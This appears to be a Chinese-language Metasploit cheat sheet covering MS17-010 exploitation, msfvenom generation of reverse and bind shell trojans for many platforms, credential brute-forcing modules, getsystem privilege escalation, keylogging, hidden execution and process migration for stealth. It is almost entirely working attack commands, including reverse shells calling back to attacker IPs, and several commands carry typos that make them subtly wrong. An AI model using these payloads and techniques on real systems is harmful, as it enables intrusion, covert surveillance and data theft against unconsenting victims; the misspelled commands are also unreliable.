1. 基本使用

msfconsole				#打开msf控制台,以便于进行下一步的操作
reload_all
search ms17-010			#搜索所有有关于ms17-010的模块
use 0					#使用编号为1的模块,也可以直接使用名字
options 				#查看相应模块的配置信息
set rhosts ip			#设置目标主机的IP
set rpost  port			#设置要连接的目标主机端口		
set lhost ip			#设置攻击机的ip
set lport port			#设置攻击机开启的监听端口
set payload windows/x64/meterpreter/reverse_tcp			#针对于Windows使用反弹shell模块,使目标机器连接到攻击机的msf上
set payload windows/x64/meterpreter/bind_tcp			#针对于Windows使用监听模块,是攻击机连接到目标机的端口上
set autorunscript migrate -n explorer.exe				#将msf的获取的会话自动迁移到系统进程explorer.exe上,增强隐蔽性	
run-j-z 				#在后台运行模块,并持续监听
sessions 				#查看已经上线的会话
sessions 3				#进入会话3
session -k 1 			#杀死会话1
kill session 1			#杀死会话1
session -K killall		##杀死所有会话

2. 生成远控木马

  • 针对于Windows,Linux系统则只需要把模块换成linux/x86/meterpreter/reverse_tcp

(1). 通过反弹shell方式

  • 目标主动连接攻击者,适合防火墙或 NAT 环境
#方法1:先进入控制台,再一步一步操作
    msfconsole 							# 进入 Metasploit 控制台
    use exploit/multi/handler 			# 使用通用监听模块,以处理反向连接
    set payload windows/x64/meterpreter/reverse_tcp		# 针对 Windows 系统,使用反弹 Shell 模块
    set lhost 0.0.0.0 					# 0.0.0.0 代表攻击机的所有网卡 IP
    set lport 10000 					# 指定 攻击机的Metasploit 监听的端口为 10000,等待目标连接
    run -j -z 							# 后台运行模块,并持续监听指定端口
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.249 port=10000 -f exe -o Desktop\rev.exe 
    #直接生成远控木马(exe文件),需要在目标主机上执行    
#方法2:先进入控制台,然后直接生成
	msfconsole
    handler -H 0.0.0.0 -P 10000 -p windows/x64/meterpreter/reverse_tcp  			  #设置处理程序以接收反向连接
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.249 port=10000  #直接生成圆孔木马(exe文件)

(2). 通过监听方式

  • 攻击者主动连接目标,适合能够直接访问目标的情况
#方法1:
    msfconsole
    use exploit/multi/handler					#通用监听模块
    set payload windows/x64/meterpreter/bind tcp		#使用bind模块
    set rhost 192.168.100.223 					#192.168.100.223 代表msf要正向连接到目标的IP,也就是目标机器的IP
    set lport 5555 								#指定目标机器开放的端口,方便攻击机通过该端口连接目标机器
    run -j-z 									#后台运行模块,并持续监听端口
    msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o Desktop\bind.exe		
    #生成远控木马,需在目标机上执行
    
#方法2:
    hanler -H 192.168.100.223 -P 5555 -p windows/x64/meterpreter/bind_tcp
    msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o Desktop\bind.exe

3. 常用模块

  • 具体使用方法,进入控制台后,使用options查看具体用法

(1). 信息收集

use auxiliary/scanner/discovery/arp_sweep				# arp 扫描
use auxiliary/scancer/smb/smb_version					#存活的 445 主机
use auxiliary/scanner/portscan/syn						# syn端口扫描
use auxiliary/scanner/portscan/tcp						#TCP 端口扫描
use auxiliary/scanner/telnet/telnet_version				# telent 服务扫描
use auxiliary/scanner/rdp/rdp_scanner					# 远程桌面服务扫描
use auxiliary/scanner/ssh/ssh_version					#ssh 主机扫描
use auxiliary/scanner/smb/smb_version					# smb 服务扫描
use auxiliary/scanner/ip/ipidseq						# IPID 序列扫描器
use auxiliary/scanner/mssql/mssql_ping					#mssg
use auxiliary/scanner/http/webdav_scanner				# webdav

(2). 爆破

use auxiliary/scanner/mysql/mysql_login				# 爆破 mysql
use auxiliary/scanner/mssql/mssql_login				# 爆破 mssqL
use auxiliary/scanner/ssh/ssh_login					# 爆破 SSH
use auxiliary/scanner/snmp/snmp_enum				#枚举snmp
use auxiliary/scanner/vnc/vnc_login					#爆破 VNC
use auxiliary/scanner/http/tomcat_mgr_login			# 爆破 tomcat

4. msfvenom

  • 使用msfvenom的相关payload

(1). 进行连接

# 显示可用的输出格式
msfvenom --format 

# 使用反向 TCP 有效载荷生成 ELF 文件,设置 LHOST 和 LPORT
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.16.12.167 lport=4444 -f elf -o Desktop/rev.elf 

# 设置处理程序以接收来自目标的反向连接
handler -H 0.0.0.0 -P 4444 -p linux/x64/meterpreter/reverse_tcp

# 使用绑定 TCP 有效载荷生成 ELF 文件,设置 LPORT
msfvenom -p linux/x64/meterpreter/bind_tcp lport=4444 -f elf -o Desktop/rev.elf 

# 设置处理程序以接收来自目标的连接
handler -H 172.16.12.2 -P 4444 -p linux/x64/meterpreter/bind_tcp 

# 使用反向 TCP 有效载荷生成 JAR 文件,设置 LHOST 和 LPORT
msfvenom -p java/meterpreter/reverse_tcp lhost=172.16.12.167 lport=4445 -f jar -o rev.jar 

# 使用反向 TCP Shell 有效载荷生成 JAR 文件,设置 LHOST 和 LPORT
msfvenom -p java/shell/reverse_tcp lhost=172.16.12.167 lport=4445 -f jar -o rev.jar 

# 设置处理程序以接收来自目标的反向连接
handler -H 0.0.0.0 -P 4444 -p java/meterpreter/reverse_tcp 

(2). 生成shell

  • 格式均为:msfvenom -p [平台/模块] LHOST=[ip] LPORT=[port] -f [生成文件类型] > shell.elf
  • -f raw :表示生成原始字节流的有效载荷,不进行任何封装或打包
  • -o [输出文件名]:可以使用重定向符来替换
# 生成 Linux 反向 TCP Meterpreter 有效载荷,输出为 ELF 文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf 

# 生成 Windows 反向 TCP Meterpreter 有效载荷,输出为 EXE 文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe 

# 生成 macOS 反向 TCP Shell 有效载荷,输出为 MACHO 文件
msfvenom -p osx/x86/shell_reverse_tcp LHOST=ip LPORT=port -f macho > shell.macho 

# 将 shell.php 内容复制到剪贴板,并添加 PHP 标签
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 

# 生成 ASP 反向 TCP Meterpreter 有效载荷,输出为 ASP 文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f asp > shell.asp 

# 生成 WAR 文件格式的 JSP 反向 TCP Shell 有效载荷
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=port -f war > shell.war 

# 生成 PHP 反向 TCP Meterpreter 有效载荷,输出为原始文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=port -f raw > shell.php 

# 生成 JSP 反向 TCP Shell 有效载荷,输出为原始文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=port -f raw > shell.jsp 

# 生成 Python 反向 TCP Shell 有效载荷,输出为原始文件
msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=port -f raw > shell.py 

# 生成 Bash 反向 TCP Shell 有效载荷,输出为原始文件
msfvenom -p cmd/unix/reverse_bash LHOST=ip LPORT=port -f raw > shell.sh 

# 生成 Perl 反向 TCP Shell 有效载荷,输出为原始文件
msfvenom -p cmd/unix/reverse_perl LHOST=ip LPORT=port -f raw > shell.pl 

5. 权限提升

getuid				# 查看当前权限
getsystem			# 提权
getuid				# 再次查看判断是否提权成功

6. 文件操作

Ls								# 列出当前路径下的所有文件和文件夹
pwd/getwd						# 查看当前路径

search -f *.php -d c:/ -r		#搜索文件,使用 search -h 查看帮助
search
cat								#查看文件内容,比如 cat test.txt.
edit							# 编辑或者创建文件.和 Linux 系统的 vm 命令类似,同样适用于目标系统是 windows 的情况

rm								# 删除文件
cd								# 切换路径。
mkdir							# 创建文件夹,
rmdir							# 删除文件夹。
getlwd/lpwd						# 查看自己系统的当前路径
lcd								# 切换自己当前系统的目录。
lLs								# 显示自己当前系统的所有文件和文件夹

upload [file][destination]		#上传文件到 Windows 主机,使用 -r参数可以递归上传上传目录和文件
download [file][path to save]	#从windows 主机下载文件,Windows 路径要使用双斜线,如果我们需要递归下载整个目录包括子目录和文									件,我们可以使用 download -r 命令

7. 进程操作

(1). 关闭进程

pkill [进程名]

(2). 键盘记录

keyscan_start				# 开启键盘记录功能
keyscan_dump				# 显示捕捉到的键盘记录信息
keyscan_stop				# 停止键盘记录功能

(3).执行程序

execute -f [path] [options] 		#在目标主机上执行 exe 文件
-H: 创建一个隐藏进程
-a: 传递给命令的参数
-i: 跟进程进行交互
-m: 从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-S: 在给定会话中执行进程
-f: 指定文件
execute -H -f "cmd.exe" -a "/c powershell command"

(4). 注入进程

getpid					#查看当前会话的进程id
pS						#查看目标运行的进程
migrate [pid]			#绑定/迁移进程
migrate -P 1234
migrate -N cmd.exe
set autorunscript migrate -nexplorer.exe		#监听的时候配置自动进程迁移/注入